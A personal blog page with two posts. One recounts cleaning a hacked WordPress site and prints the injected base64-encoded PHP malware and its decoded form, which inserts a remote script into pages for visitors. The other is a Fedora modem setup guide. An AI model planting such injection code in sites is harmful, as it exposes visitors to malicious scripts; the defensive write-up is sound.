Saturday, May 8, 2010

When WordPress Site was Hacked

Long time ago i opted to read news online avoiding wastage of newsprint and i bookmarked various news websites for reading news daily morning, and it became habit to checkout bookmarked websites early in the morning. Yesterday morning when i opened one of bookmarked website for news about himachal website was redirecting me to some interesting page, and this page was offering some exe for cleaning up virus from my computer. how funny .... site was saying me to clean virus from my linux laptop.. ha ha ha.. 

Investigating more about websites i found this was happening from the server side, i passed on a message to the website owner, as he was known to me, saying that something is breaking on his site. Later i got a call from website owner saying that some malicious code is added to each page on the webserver. Here is the code he has sent 
----code begins here----

<?php /**/ 
eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9z
dGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAk
R0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlz
dHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMo
J2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICgh
c3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdv
b2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VT
RVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFz
ZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5
NlpYUjBZWEJsZEhSaExtTnZiUzlxY3k1d2FIQWlQand2YzJOeWFY
QjBQZz09Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0g
ICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNv
ZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0
OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJB
QjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJB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+KS9zaScsZ21sKCkuIlxuIi4nJDEn
LCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAg
ICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4
QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAg
b2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>
----code ends here----
here is the expansion of decoded string 
----expansion starts here ----
:if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly96ZXR0YXBldHRhLmNvbS9qcy5waHAiPjwvc2NyaXB0Pg=="); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }
----expansion ends here----

Well it will take some more time for me to understand this. later i was given shell access to this web server to check out the problem.. I used perl to remove this code from the php file ..

perl -p -i -e 's/.*=="\)\);\?>//g'

but this was not enough, website was giving errors even after this. It was hard time prior to this website was redirecting but now website was getting displayed without css, at this time i was more worried whole website was looking very ugly, I called up website owner and call was a relief for me, i was feeling owner might be unhappy with me for giving this ugly look to his website but his was calm which motivated me. Struggling some more with the php files for some other malicious code, I checked out error logs and found there was some problems in sending php headers, and i immediately remembered my college days when my php project stopped working because of one empty line was added in the login page. 

so i again executed following perl command to cleanup the empty lines.
perl -p -i -e 's/^\n//g'

and website was up again. 

here is the piece of code which can fix similar problem in one go, all you need to do is move to root directory of your webserver and execute

for i in `find ./* -name "*.php"`;do  if [ -f $i ];then perl -p -i -e 's/.*=="\)\);\?>[^.]*//g' $i ; perl -p -i -e 's/^\n//' $i ; fi done;

I have to use two regular expression as newline character was giving trouble to me. i would like to mention this expression will work for the above mentioned malicious code, you may have to tweek the expression if you have some other malicious code added to your word press site.

If you don't have shell access to webserver other solution to such problem can be updating wordpress, if you already have the latest version you get option of reinstalling wordpress which actually replaces all the affected php files and your affected php files with malicious code will be removed automatically. In case you you have custom theme you have to update your theme files also and also the plugins you are using in your wordpress site.

I am still confused how hacker was able to add this php code, as i dont have sudo access on the webserver could not get more things for you, will try to detect it somehow.. 

Happy Wordpress people.. Happy Open Source..

Sunday, November 8, 2009

Reliance Netconnect on fedoara 11

Reliance Netconnect coming with dual mode modem, and fedora by default detects it as USB Storage device here are the steps to make it work with fedora 11. As soon as you connect your usb modem check for the kernel message

[apundir@localhost ~]$ sudo tail  /var/log/messages

Nov  8 10:58:38 localhost kernel: usb 5-1: new full speed USB device using uhci_hcd and address 2                          
Nov  8 10:58:38 localhost kernel: usb 5-1: New USB device found, idVendor=19d2, idProduct=fff5                             
Nov  8 10:58:38 localhost kernel: usb 5-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3                        
Nov  8 10:58:38 localhost kernel: usb 5-1: Product: USB Storage                                                            
Nov  8 10:58:38 localhost kernel: usb 5-1: Manufacturer: ZTE, Incorporated                                                 
Nov  8 10:58:38 localhost kernel: usb 5-1: SerialNumber: 000000000002                                                      
Nov  8 10:58:38 localhost kernel: usb 5-1: configuration #1 chosen from 1 choice                                           
Nov  8 10:58:38 localhost kernel: scsi3 : SCSI emulation for USB Mass Storage devices


notice the idVendor=19d2, idProduct=fff5 in messages now we need to switch device from usb storage to modem based on this ids. now install usb_modeswitch for this

[apundir@localhost ~]$ sudo yum -y install usb_modeswitch

now you need to look for exact match for target product id in /etc/usb_modeswitch.conf


I have ZTE AC2726 modem here is the configuration i added

[apundir@localhost ~]$ tail -15 /etc/usb_modeswitch.conf

# ZTE AC2726 (EVDO) Reliance Netconnect
#
# Comments: amitpundir@ymail.com

DefaultVendor=  0x19d2
DefaultProduct= 0xfff5

TargetVendor=   0x19d2
TargetProduct=  0xfff1

MessageEndpoint=0x0a
MessageContent="5553424312345678c00000008000069f010000000000000000000000000000"



in case you have a different modem make you need to search your configuration and make it enable by commenting the ";" in the usb_modeswitch.conf file. now lets switch the device

[apundir@localhost ~]$sudo usb_modeswitch

here is what i get from my kernel messages

[apundir@localhost ~]$ sudo tail  /var/log/messages

Nov  8 11:00:42 localhost kernel: usb 5-1: usbfs: process 2562 (usb_modeswitch) did not claim interface 0 before use       
Nov  8 11:00:42 localhost kernel: usb 5-1: USB disconnect, address 2                                                       
Nov  8 11:00:43 localhost kernel: usb 5-1: new full speed USB device using uhci_hcd and address 3                          
Nov  8 11:00:44 localhost kernel: usb 5-1: New USB device found, idVendor=19d2, idProduct=fff1                             
Nov  8 11:00:44 localhost kernel: usb 5-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0                        
Nov  8 11:00:44 localhost kernel: usb 5-1: Product: ZTE CDMA Tech                                                          
Nov  8 11:00:44 localhost kernel: usb 5-1: Manufacturer: ZTE, Incorporated                                                 
Nov  8 11:00:44 localhost kernel: usb 5-1: configuration #1 chosen from 1 choice


now i got my modem connected to my laptop you can see it added to the list of usb devices on your machine

[apundir@localhost ~]$ lsusb
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 005: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth
Bus 001 Device 002: ID 413c:a005 Dell Computer Corp. Internal 2.0 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 005 Device 003: ID 19d2:fff1 ONDA Communication S.p.A.
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub



here ONDA is my modem. modeprobe the new device

[apundir@localhost ~]$  sudo modprobe usbserial vendor=0x19d2 product=0xfff1


after this i have used wvdial to connected to network
installing wvdial is simple with YellowdogUpdateManager

[apundir@localhost ~]$ sudo yum -y install wvdial


now we need to generate a wvdial.conf file for connecting to internet, many blogs say it can be done using  wvdialconf  but i was not able to connect with the conf file i got later after some this and that changes, i got my modem connecting to internet here is my final conf file

[apundir@localhost ~]$ cat /etc/wvdial.conf
[Dialer Defaults]
Modem = /dev/ttyUSB0
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = Analog Modem
Phone=#777
Username=9*********
Init1=ATZ
Password=9*********
Baud=4608000
PPPP Path= /usr/sbin/pppd
New PPPD= 1
Stupid Mode = 1
Tonline = 0

(change username and password in this file. and you may need to change the path of modem for me it got connected to /dev/ttyUSB0)

finally for connecting you need

[apundir@localhost ~]$ sudo wvdial


and output of this will be something like

[apundir@localhost ~]$ sudo wvdial
--> WvDial: Internet dialer version 1.60
--> Cannot get information for serial port.
--> Initializing modem.
--> Sending: ATZ
ATZ
OK
--> Sending: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
OK
--> Modem initialized.
--> Sending: ATDT#777
--> Waiting for carrier.
ATDT#777
CONNECT
--> Carrier detected.  Starting PPP immediately.
--> Starting pppd at Sun Nov  8 11:05:07 2009
--> Pid of pppd: 2719
--> pppd: [18]��
--> Using interface ppp0
--> pppd: [18]��
--> pppd: [18]��
--> pppd: [18]��
--> pppd: [18]��
--> local  IP address 115.184.115.103
--> pppd: [18]��
--> remote IP address 220.224.141.145
--> pppd: [18]��
--> primary   DNS address 202.138.103.100
--> pppd: [18]��
--> secondary DNS address 202.138.96.2
--> pppd: [18]��


I am not sure now what are these mojibake character, but surely they are due to my terminal settings ..

So first thing i am doing after connecting to internet is writing this blog. hope to see your comment when you get connected

Cheers !